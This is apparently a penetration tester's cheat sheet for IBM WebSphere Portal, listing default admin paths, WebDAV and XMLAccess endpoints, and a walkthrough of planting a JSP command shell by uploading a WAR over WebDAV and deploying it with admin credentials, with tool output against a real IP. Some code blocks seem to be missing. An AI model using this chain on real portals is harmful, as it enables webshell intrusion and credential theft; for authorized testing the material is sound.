There are little resources and even less tools available to test the security of a WebSphere Portal website, although they are common in the corporate environment. Most of the stuff described here will seem obvious to people who work daily with this huge piece of software and in fact the objective here is to build more of a cheat sheet that a proper guide.
WebSphere portal (from here WPS) is a CMS deployed on top of the WebSphere Application Server (WAS). It's written mainly in Java, utilizes a heavy dose of XML and is heavy and obscure as most IBM software is. The documentation is huge and it's hard getting around it within the timeframe of a penetration test.
As Tomcat does, WAS has an administrative interface where an application can be deployed and managed. This console would normally be on the port 9060 (http) or 9043 (https). This means that in a normal scenario it won't be exposed to the internet when facing internet-facing websites (a different story might be in intranet portals). At the same time, there are standard administrative portlets deployed by default. We'll look at interesting URLs in the next section.
The main objective is to obtain at least a directory traversal vulnerability and from there gain code execution. An example of this type of vulnerability in WPS is [CVE-2012-4834](https://nvd.nist.gov/vuln/detail/CVE-2012-4834) and although old it might still be found on legacy websites. This kind of vulnerabilities can of course also be in custom portlets, JSP pages or other dynamic content. Once there's an arbitrary file read it should also be possible to get a lot of useful additional information, including JDBC objects, LDAP binds and of course administrative credentials.
[This is an interesting read](https://www.optiv.com/explore-optiv-insights/blog/decoding-ibm-webshere-portlet-urls) and there's also a Burp plugin. URLs can also be plaintext.
Here's a short list of interesting paths and what they means (assuming that the base is `/wps`:
*`/wps/portal` - Default main portlet
*`/wps/login` - Default login portlet
*`/wps/proxy` - Default proxy portlet. Normally there's a few whitelisted sites including `/wps/proxy/http/www.ibm.com`
*`/wps/federated`
### WebDAV
By default, there are multiple WebDAV endpoints as described [here](https://help.hcltechsw.com/digital-experience/9.5/admin-system/mash_webdav_store.html).
Visit `/wps/mycontenthandler/!ut/p/model/service-document` to list the available endpoints. (this page might require an user)
[Here are some additional information.](http://blog.sivavaka.com/2011/03/webdav-websphere-portal.html)
### XMLAccess
XMLAccess is an administrative configuration endpoint, based on XML which is commonly available on the internet at the path `/wps/config`. If that path requires authorization or returns a `405` code for a GET request than the interface is available and administrative credentials are required.
For ease of use, [I have extracted the XMLAccess utility and modified it to work standalone](https://git.lsd.cat/g/xmlaccess).
Licensed Materials - Property of IBM, 5724-E76, 5724-E77, 5724-I29 and 5655-Y16, (C) Copyright IBM Corp. 2001, 2014 - All Rights reserved. US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
EJPXB0006I: Connecting to URL http://116.203.252.192:30015/wps/config
<!-- IBM WebSphere Portal/8.5 build 20180912-1300 exported on Sat Jul 13 15:08:46 UTC 2019 from 2b0019a69dd7/172.17.0.2 virtual portal: none (default virtual portal) -->
EJPXB0020I: The request was processed successfully on the server.
```
Available examples are in the `xml` folder on the `xmlaccess` repo.
### Executing code
Here's an example of how to gain code execution knowing the administrative credentials and using WebDAV and XMLAccess. In the case that the target server does not block outbound connections, it might be possible to skip the WebDAV usage and deploy a portlet directly via HTTP.
A portlet needs some more configuration files than a standard Tomcat war application. [A useful example can be found here](https://github.com/kost/webshell-portlet). In this case, it is easier to add a JSP file to the WAR and use it as a command shell.
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/> put shell.war
Uploading shell.war to `/wps/mycontenthandler/!ut/p/dav/fs-type1/shell.war':
Progress: [=============================>] 100.0% of 6267 bytes succeeded.
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/>
```
In the docker container, the file will end in `/opt/IBM/WebSphere/wp_profile/temp/dockerNode/WebSphere_Portal/JCRFileStore/filestore/fs-type1/shell.war`.
Now prepare the XMLAccess DeployPortlet command ans save it as `DeployPortlet.xml`:
Licensed Materials - Property of IBM, 5724-E76, 5724-E77, 5724-I29 and 5655-Y16, (C) Copyright IBM Corp. 2001, 2014 - All Rights reserved. US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
EJPXB0006I: Connecting to URL http://116.203.252.192:30015/wps/config
<!-- IBM WebSphere Portal/8.5 build 20180912-1300 exported on Sat Jul 13 13:42:39 UTC 2019 from 2b0019a69dd7/172.17.0.2 virtual portal: none (default virtual portal) -->
